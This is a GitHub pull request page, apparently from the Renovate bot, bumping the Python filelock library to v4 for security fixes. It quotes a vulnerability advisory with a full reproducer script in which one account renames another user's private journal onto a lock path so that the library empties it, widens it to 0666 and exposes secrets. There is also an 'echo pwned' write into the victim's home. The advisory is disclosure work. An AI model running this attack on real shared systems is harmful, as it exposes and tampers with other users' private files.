The scanner measured three variants at the same commit, same accounts (victim uid 1000, attacker uid 1001). First, a rename within a 0777 directory: the next FileLock("jobs.lock", mode=0o666) of victim empties the 0600 journal of victim renamed to jobs.lock and sets it to 0666; attacker then reads what victim keeps writing through its open descriptor. Second, a rename of a two-name file (ln /tmp/cache/blob ~/env/blob, 0644) from a 0777 directory, fs.protected_hardlinks=1: after mv /tmp/cache/blob /tmp/cache/app.lock and FileLock("/tmp/cache/app.lock", mode=0o666) as victim, ~/env/blob has 2 links, mode 666, 0 bytes and echo pwned >> /home/victim/env/blob as attacker succeeds, in a directory attacker cannot write. Third, os.link(notes, lock_path) in a 1777 directory with fs.protected_hardlinks=0: notes.txt (0644, in the home of victim) ends up 0 bytes with mode 0666, and open(notes, "w") as attacker then succeeds. With plain FileLock(lock_path) a 0600 file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.

Reproduction

The scanner's reproducer for ANT-2026-KO573NWI, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import secrets
import shutil
import stat
import subprocess
import sys

##### set up: a directory every user may write, without the sticky bit
shared = "/tmp/renamed-lock-file-demo"
shutil.rmtree(shared, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
journal = f"{shared}/victim-journal.log"
lock_path = f"{shared}/jobs.lock"

victim = subprocess.Popen(
    ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victim_job_runner.py", shared],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    text=True,
)

def victim_runs(job):
    victim.stdin.write(job + "\n")
    victim.stdin.flush()
    assert victim.stdout.readline() == "done\n"

def as_attacker(script, argument):
    command = ["runuser", "-u", "attacker", "--", sys.executable, f"/tmp/repro.d/{script}", argument]
    return subprocess.run(command, capture_output=True, text=True, check=True).stdout

##### before the attack: one job leaves the lock file and a 0600 journal with one line in it
victim_runs("job 1")
journal_before = os.stat(journal)
journal_content_before = open(journal).read()
attacker_read_before = as_attacker("attacker_read_file.py", journal)
print(
    f"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, "
    f"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}"
)
print(f"CONTROL  attacker reads the journal: {attacker_read_before!r}")

##### attack
as_attacker("attacker_rename_journal.py", shared)

##### the victim takes its lock again, then notes a secret in its journal through the descriptor it holds
secret = secrets.token_hex(8)
victim_runs(f"job 2 {secret}")
victim.stdin.close()
victim.wait()

##### check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker
lock_after = os.stat(lock_path)
lock_content_after = open(lock_path).read()
attacker_read_after = as_attacker("attacker_read_file.py", lock_path)
print(
    f"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, "
    f"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}"
)
print(f"OBSERVED attacker reads the lock path: {attacker_read_after!r}")

attacker_was_denied = attacker_read_before == "permission denied\n"
lock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)
journal_was_emptied = "job 1" in journal_content_before and "job 1" not in lock_content_after
journal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666
attacker_reads_the_secret = secret in attacker_read_after
bug = (
    attacker_was_denied
    and lock_path_is_the_journal
    and journal_was_emptied
    and journal_was_widened
    and attacker_reads_the_secret
)
print("BUG" if bug else "OK")

repro.d/attacker_read_file.py

import sys

try:
    print(open(sys.argv[1]).read(), end="")
except PermissionError:
    print("permission denied")

repro.d/attacker_rename_journal.py

import os
import sys

shared_directory = sys.argv[1]

##### needs only write access to the directory: no sticky bit, so any user may rename any entry in it
os.rename(f"{shared_directory}/victim-journal.log", f"{shared_directory}/jobs.lock")

repro.d/victim_job_runner.py

import os
import sys

from filelock import FileLock

shared_directory = sys.argv[1]

journal_fd = os.open(f"{shared_directory}/victim-journal.log", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)

##### UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666
lock = FileLock(f"{shared_directory}/jobs.lock", mode=0o666, timeout=5)

for job in sys.stdin:
    with lock:
        os.write(journal_fd, f"ran {job}".encode())
    print("done", flush=True)

Attack sequence

sequenceDiagram
    participant A as other account
    participant D as shared directory (writable, not sticky)
    participant V as lock user: FileLock("jobs.lock", mode=0o666)
    participant K as kernel
    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)
    A->>D: mv victim-journal.log jobs.lock (one rename, no race)
    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -

> [!IMPORTANT]
> ✂ PR body was truncated to here.

chore(deps): update dependency filelock to v4 [security]

4a33721

Navigation Menu

Repository navigation

chore(deps): update dependency filelock to v4 [security] - #25

chore(deps): update dependency filelock to v4 [security]#25
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-filelock-vulnerability

renovate Bot commented Nov 9, 2026

Uh oh!

This branch has not been deployed

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Nov 9, 2026

filelock has a TOCTOU race condition which allows symlink attacks during lock file creation

Details

Impact

Patches

Workarounds

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

The Race Window

Step-by-Step Attack Flow

Why the Attack Succeeds Reliably

Real-World Attack Scenarios

Why Standard Defenses Don't Help

Exploitation Proof-of-Concept Results

Severity

References

filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock

Details

Vulnerability Summary

Description

Attack Scenario

Impact

Patches

Workarounds

References

Severity

References

filelock: WindowsFileLock ignores mode: a 0o600 lock file and the ReadWriteLock database inherit the directory ACL

Details

Severity

Scope and preconditions

Affected code

Introduced

Mechanism

Reproduction

Failure sequence

Evidence

Impact

Workarounds

Patched version

Credits

Severity

References

filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path

Details

Severity

Scope and preconditions

Affected code

Introduced

Mechanism

Reproduction

Attack sequence

Uh oh!

This branch has not been deployed

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants